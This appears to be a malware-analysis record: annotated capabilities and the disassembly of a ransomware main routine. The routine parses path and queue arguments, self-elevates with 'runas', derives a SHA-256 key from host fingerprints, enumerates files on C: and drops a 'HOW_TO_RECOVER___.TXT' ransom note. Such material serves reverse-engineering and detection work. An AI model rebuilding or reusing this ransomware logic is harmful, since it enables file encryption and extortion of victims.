Function at 0x140007c00
Capabilities:
Accept command line arguments
Check if file exists
Create new key via cryptacquirecontext
Create process on windows
Create thread
Encode data using xor
Generate random numbers using a mersenne twister
Generate random numbers via winapi
Get common file path
Get disk information
Get hostname
Hash data using sha256
Terminate thread

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x458]
sub rsp, 0x530
mov rax, qword [0x140059010]
xor rax, rsp
mov qword [rbp + 0x420], rax
xor esi, esi
mov rdi, rcx
mov qword [rbp - 0x58], rsi
mov r14b, sil
mov qword [rbp - 0x60], rsi
mov byte [rsp + 0x40], sil
mov dword [rbp - 0x50], esi
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp - 0x50]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
or r15, 0xffffffffffffffff
lea r13d, [rsi + 1]
mov r12, rax
test rax, rax
je 0x140007ffb
mov dword [rbp - 0x4c], r13d
cmp dword [rbp - 0x50], r13d
jle 0x140007fec
lea esi, [r13 + 1]
xor r14d, r14d
lea rbx, [rax + 8]
mov rcx, qword [rbx]
lea rdx, [0x1400509d4]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007cae
cmp dword [rbp - 0x50], esi
jl 0x140007cae
lea rcx, [rbp - 0x58]
jmp 0x140007d02
mov rcx, qword [rbx]
lea rdx, [0x1400509e0]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007ce5
cmp dword [rbp - 0x50], esi
jl 0x140007ce5
mov rdx, qword [rbx + 8]
lea r8, [0x1400509dc]
lea rcx, [rbp - 0x60]
call fcn.140026314
mov byte [rsp + 0x40], 1
jmp 0x140007d9a
mov rcx, qword [rbx]
lea rdx, [0x1400509e8]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007d17
cmp dword [rbp - 0x50], esi
jl 0x140007d17
lea rcx, [rbp - 0x60]
mov rdx, qword [rbx + 8]
lea r8, [0x1400509dc]
call fcn.140026314
jmp 0x140007d9a
mov rcx, qword [rbx]
lea rdx, str._path
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007d78
cmp dword [rbp - 0x50], esi
jl 0x140007d78
mov rax, qword [rdi + 8]
lea r8, [rbx + 8]
cmp rax, qword [rdi + 0x10]
je 0x140007d6b
mov rdx, qword [r8]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], r14
mov r8, r15
mov qword [rax + 0x18], r14
inc r8
cmp word [rdx + r8*2], r14w
jne 0x140007d52
mov rcx, rax
call fcn.140004b30
add qword [rdi + 8], 0x20
jmp 0x140007d9a
mov rdx, rax
mov rcx, rdi
call fcn.14000b01c
jmp 0x140007d9a
mov rcx, qword [rbx]
lea rdx, str._queue
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007d9a
cmp dword [rbp - 0x50], esi
jl 0x140007d9a
mov rcx, qword [rbx + 8]
call fcn.140026cc4
mov rcx, qword [rbx]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x14000844e
and qword [rbp - 0x78], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp - 0x78]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140007df8
mov ecx, 4
lea rax, [rbp - 0x20]
mov dword [rbp - 0x20], ecx
lea r8, [rbp - 0x1c]
mov r9d, ecx
mov qword [rsp + 0x20], rax
lea edx, [rcx + 0x10]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne r14d, dword [rbp - 0x1c]
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x140007e07
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14d, r14d
jne 0x140007f86
xor edx, edx
lea rcx, [rbp + 0xe0]
mov r8d, pe_nt_image_headers64
call fcn.14001f140
lea rcx, [rbp + 0xe0]
call fcn.140009578
lea r13d, [r14 + 1]
cmp dword [rbp - 0x50], r13d
jle 0x140007e72
lea r14, [r12 + 8]
lea rcx, [rbp + 0xf0]
call fcn.140009ee8
mov rdx, qword [r14]
mov rcx, rax
call fcn.14000a1d8
mov rcx, rax
lea rdx, [0x140050a64]
call fcn.14000a1d8
inc r13d
lea r14, [r14 + 8]
cmp r13d, dword [rbp - 0x50]
jl 0x140007e3f
xor eax, eax
xor r14d, r14d
mov qword [rbp - 0x68], rax
xorps xmm0, xmm0
mov eax, dword [rbp + 0x168]
and al, 0x22
mov qword [rbp - 0x30], r14
lea ecx, [r14 + 7]
mov qword [rbp - 0x28], rcx
movups xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x40], r14w
movups xmmword [rbp - 0x78], xmm0
cmp al, 2
je 0x140007ed3
mov rax, qword [rbp + 0x138]
mov r8, qword [rax]
test r8, r8
je 0x140007ed3
cmp r8, qword [rbp + 0x160]
mov rax, qword [rbp + 0x118]
cmovb r8, qword [rbp + 0x160]
mov rdx, qword [rax]
sub r8, rdx
sar r8, 1
jmp 0x140007f12
test byte [rbp + 0x168], 4
jne 0x140007f0a
mov rax, qword [rbp + 0x130]
mov r9, qword [rax]
test r9, r9
je 0x140007f0a
mov rax, qword [rbp + 0x110]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x148]
movsxd r8, dword [rax]
add r8, r8
sub r8, rdx
add r8, r9
jmp 0x140007ece
mov r8, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x78]
test rdx, rdx
je 0x140007f24
lea rcx, [rbp - 0x40]
call fcn.140009d94
mov rcx, qword [rbp - 0x28]
mov r8, qword [r12]
lea r9, [rbp - 0x40]
cmp rcx, 8
mov dword [rsp + 0x28], 5
lea rdx, str.runas
mov qword [rsp + 0x20], r14
cmovae r9, qword [rbp - 0x40]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp - 0x40]
call fcn.140004a50
lea rcx, [rbp + 0x178]
call fcn.140009494
lea rax, vtable.std::ios_base.0
lea rcx, [rbp + 0x178]
mov qword [rbp + 0x178], rax
call fcn.14001d9fc
mov r13d, dword [rbp - 0x4c]
jmp 0x140007f89
xor r14d, r14d
mov rax, qword [rdi + 8]
cmp rax, qword [rdi + 0x10]
je 0x140007fc0
mov rdx, qword [rbx]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], r14
mov r8, r15
mov qword [rax + 0x18], r14
inc r8
cmp word [rdx + r8*2], r14w
jne 0x140007fa7
mov rcx, rax
call fcn.140004b30
add qword [rdi + 8], 0x20
jmp 0x140007fce
mov r8, rbx
mov rdx, rax
mov rcx, rdi
call fcn.14000b01c
inc r13d
inc esi
add rbx, 8
mov dword [rbp - 0x4c], r13d
cmp r13d, dword [rbp - 0x50]
jl 0x140007c8f
mov r14b, byte [rsp + 0x40]
xor esi, esi
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov r13d, 1
lea rcx, [rbp - 8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
imul ecx, ebx
rdtsc
shl rdx, 0x20
mov r9d, r13d
or rax, rdx
mov dword [rsp + 0x20], esi
imul eax, ecx
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x18]
imul eax, dword [rbp - 8]
mov dword [rbp - 0x48], eax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140008079
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x140008098
mov r9d, r13d
mov dword [rsp + 0x20], 8
xor r8d, r8d
lea rcx, [rbp - 0x18]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140008098
mov rcx, qword [rbp - 0x18]
lea r8, [rbp - 0x48]
mov edx, 4
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rbp - 0x18]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [rbp - 0x48]
lea r10, [0x14005c050]
mov dword [0x14005c050], eax
mov edx, r13d
mov eax, r13d
mov ebx, r13d
mov r8d, r13d
mov r9d, r13d
cdqe
mov ecx, dword [r10 + rax*4 - 4]
shr ecx, 0x1e
xor ecx, dword [r10 + rax*4 - 4]
movsxd rax, ebx
imul ecx, ecx, 0x6c078965
add ecx, edx
lea edx, [r8 + 1]
mov dword [r10 + rax*4], ecx
mov ebx, edx
movsxd rax, r9d
mov r8d, edx
mov dword [0x14005ca10], edx
mov r9d, edx
mov dword [r10 + rax*4], ecx
mov eax, edx
cmp edx, 0x270
jl 0x1400080b7
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
xor eax, eax
mov byte [rsp + 0x68], 9
xorps xmm0, xmm0
mov qword [rsp + 0x79], rax
lea rdx, [rbp - 0x44]
mov dword [rbp - 0x7f], eax
lea rcx, [rbp + 0x330]
mov word [rbp - 0x7b], ax
movups xmmword [rsp + 0x69], xmm0
mov byte [rbp - 0x79], al
movups xmmword [rbp + 0x330], xmm0
mov dword [rsp + 0x48], 0x7afa20cd
mov dword [rsp + 0x4c], 0xaa84f355
mov dword [rsp + 0x50], 0x45c127ff
mov dword [rsp + 0x54], 0x63bd3666
mov dword [rsp + 0x58], 0x219e3274
mov dword [rsp + 0x5c], 0x8166807b
mov dword [rsp + 0x60], 0x45204f1a
mov dword [rsp + 0x64], 0xffc1b891
mov dword [rbp - 0x44], 0x10
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov ebx, 0x40
mov qword [rbp - 0x10], rsi
mov r8d, ebx
lea rcx, [rbp + 0x3e0]
xor edx, edx
call fcn.14001f140
mov edx, ebx
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov qword [rsp + 0x30], rsi
lea rcx, [rbp + 0x3e0]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov r8d, r13d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, r15
je 0x1400081f8
xor r9d, r9d
lea rdx, [rbp - 0x10]
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea rcx, [rbp + 0xe0]
mov r8d, 0x208
call fcn.14001f140
mov edx, 0x104
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x140008262
mov dword [rsp + 0x38], esi
lea r9, [rbp - 0x4c]
mov qword [rsp + 0x30], rsi
lea rcx, [rbp + 0xe0]
mov qword [rsp + 0x28], rsi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov word [rbp + 0xe6], si
mov dword [rbp - 0x4c], esi
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x140008262
mov r8d, dword [rbp - 0x4c]
test r8d, r8d
jne 0x140008268
mov r8d, 0xdead
movsd xmm1, qword [0x140059c20]
xor eax, eax
xor ecx, ecx
mov dword [rbp + 0x340], r8d
cpuid
xorps xmm0, xmm0
movsd qword [rbp + 0x354], xmm1
movups xmmword [rbp - 0x78], xmm0
mov dword [rbp - 0x78], eax
mov eax, dword [0x140059c28]
mov dword [rbp - 0x70], ecx
lea rcx, [rbp + 0x368]
mov dword [rbp - 0x6c], edx
lea rdx, [rbp + 0x330]
mov dword [rbp + 0x35c], eax
mov eax, dword [rbp - 0xc]
mov dword [rbp - 0x74], ebx
movups xmm0, xmmword [rbp - 0x78]
mov ebx, dword [rbp - 0x44]
mov dword [rbp + 0x360], eax
mov r8d, ebx
mov eax, dword [rbp - 0x10]
mov dword [rbp + 0x364], eax
movdqu xmmword [rbp + 0x344], xmm0
call fcn.14001f540
and qword [rbp + 0x60], 0
lea r8d, [rbx + 0x28]
mov r13d, 0x9b05688c
mov dword [rbp + 0x40], 0x6a09e667
mov r12d, 0x1f83d9ab
mov dword [rbp + 0x54], r13d
mov esi, 0x5be0cd19
mov dword [rbp + 0x58], r12d
lea rdx, [rbp + 0x340]
mov dword [rbp + 0x5c], esi
lea rcx, [rbp]
mov dword [rbp + 0x44], 0xbb67ae85
mov dword [rbp + 0x48], 0x3c6ef372
mov dword [rbp + 0x4c], 0xa54ff53a
mov dword [rbp + 0x50], 0x510e527f
call fcn.1400040a0
lea rdx, [rbp + 0x398]
lea rcx, [rbp]
call fcn.140004164
lea r8, [rsp + 0x48]
lea rdx, [rbp + 0x398]
lea rcx, [rbp + 0x378]
call fcn.1400036c8
lea r8, [rsp + 0x68]
lea rdx, [rbp + 0x378]
lea rcx, [0x14005ba30]
call fcn.1400036c8
lea r8, [0x140059c40]
lea rdx, [rbp + 0x378]
lea rcx, [rbp + 0x3b8]
call fcn.1400036c8
xor eax, eax
mov dword [rbp + 0xb0], 0x6a09e667
lea rdx, [rbp + 0x3b8]
mov qword [rbp + 0xd0], rax
lea rcx, [rbp + 0x70]
mov dword [rbp + 0xb4], 0xbb67ae85
mov dword [rbp + 0xb8], 0x3c6ef372
lea r8d, [rax + 0x20]
mov dword [rbp + 0xbc], 0xa54ff53a
mov dword [rbp + 0xc0], 0x510e527f
mov dword [rbp + 0xc4], r13d
mov dword [rbp + 0xc8], r12d
mov dword [rbp + 0xcc], esi
call fcn.1400040a0
lea rdx, [0x14005ba08]
lea rcx, [rbp + 0x70]
call fcn.140004164
call fcn.14000bfac
mov eax, dword [0x140059c2c]
lea r8, [rbp + 0xe0]
xor esi, esi
mov dword [rsp + 0x28], eax
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor edx, edx
lea rcx, str.C:
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rbx, rax
cmp rax, r15
jne 0x1400084be
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1400084be
mov dword [0x140059c2c], esi
jmp 0x1400084c7
xorps xmm0, xmm0
lea rdx, str.File_not_found_OR_Invalid_argument
xorps xmm1, xmm1
lea rcx, [rbp - 0x40]
mov r8d, 0x23
movups xmmword [rbp - 0x40], xmm0
movdqu xmmword [rbp - 0x30], xmm1
call fcn.140004b30
movsxd rax, r13d
mov rdx, qword [r12 + rax*8]
inc r15
cmp word [rdx + r15*2], r14w
jne 0x14000847a
mov r8, r15
lea rcx, [rbp - 0x40]
call fcn.140004ab4
cmp qword [rbp - 0x28], 8
lea rdx, [rbp - 0x40]
mov r9d, 0x10
lea r8, str.Error
cmovae rdx, qword [rbp - 0x40]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [rbp - 0x40]
call fcn.140004a50
jmp 0x140008533
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea r8, [0x14005bbb0]
call fcn.140005c10
xor r9d, r9d
mov qword [rsp + 0x28], rsi
lea r8, [0x140007b6c]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, qword [rbp - 0x60]
mov r9, rdi
mov rcx, qword [rbp - 0x58]
mov r8b, r14b
mov rbx, rax
call fcn.140006a14
lea rcx, str.C:HOW_TO_RECOVER___.TXT
call fcn.140005f24
xorps xmm0, xmm0
xor edx, edx
mov rcx, rbx
movups xmmword [0x14005ba08], xmm0
movups xmmword [0x14005ba18], xmm0
call qword [sym.imp.KERNEL32.dll_TerminateThread]
call fcn.1400075d0
mov rcx, rdi
call fcn.140009b80
mov rcx, qword [rbp + 0x420]
xor rcx, rsp
call fcn.14001c2c0
lea r11, [rsp + 0x530]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret